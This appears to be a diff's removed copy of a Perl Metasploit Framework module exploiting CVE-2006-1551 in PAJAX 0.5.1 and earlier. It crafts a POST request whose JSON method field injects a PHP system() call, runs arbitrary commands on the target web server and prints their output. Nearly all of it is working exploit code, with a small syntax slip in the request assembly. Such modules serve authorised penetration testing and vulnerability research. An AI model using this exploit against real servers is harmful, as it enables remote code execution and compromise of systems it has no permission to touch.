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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::pajax_remote_exec;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'PAJAX Remote Command Execution',
- 'Version' => '$Revision: 1.2 $',
- 'Authors' => [ 'Matteo Cantoni <goony@nothink.org>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'DIR' => [1, 'DATA', 'PAJAX path', '/pajax/pajax/pajax_call_dispatcher.php'],
- 'MODULE' => [1, 'DATA', 'PAJAX module', 'Calculator'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(
- qq{
- RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
- It is possible to execute arbitrary PHP code from unchecked user input.
- Additionally, it is possible to include arbitrary files on the server
- ending in ".class.php".
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '24618'],
- ['BID', '17519'],
- ['CVE', '2006-1551'],
- ['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
- ['MIL', '1672'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 400,
- 'Keys' => ['cmd'],
- },
-
- 'Keys' => ['pajax'],
-
- 'DisclosureDate' => '2006-03-30',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $dir = $self->GetVar('DIR');
- my $module = $self->GetVar('MODULE');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $cmd = $encodedPayload->RawPayload;
-
- $cmd = Pex::Text::URLEncode($cmd); chomp $cmd;
-
- my $ajaxdata = "{\"id\": \"bb2238f1186dad8d6370d2bab5f290f71\", \"className\": \"$module\", \"method\": \"add(1,1);system($cmd);\$obj->add\", \"params\": [\"1\", \"5\"]}";
-
- my $request =
- "POST $dir HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "Host: $target_host:$target_port\r\n".
- "Content-Length:".length($ajaxdata)."\n\n".$ajaxdata;
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target...");
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
-
- my @results = split(/\n/, $results);
-
- if (grep(/^HTTP\/1.1 200 OK/, @results)){
-
- for(0..12){shift @results;}
- for(0..2){pop @results;}
-
- $self->PrintLine('');
-
- foreach(@results){
- $self->PrintLine($_);
- }
- } else{
- $self->PrintLine("[*] This server does not appear to be vulnerable.");
- }
-
- $s->Close();
- return;
- }
-
- sub VHost {
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- 1;
-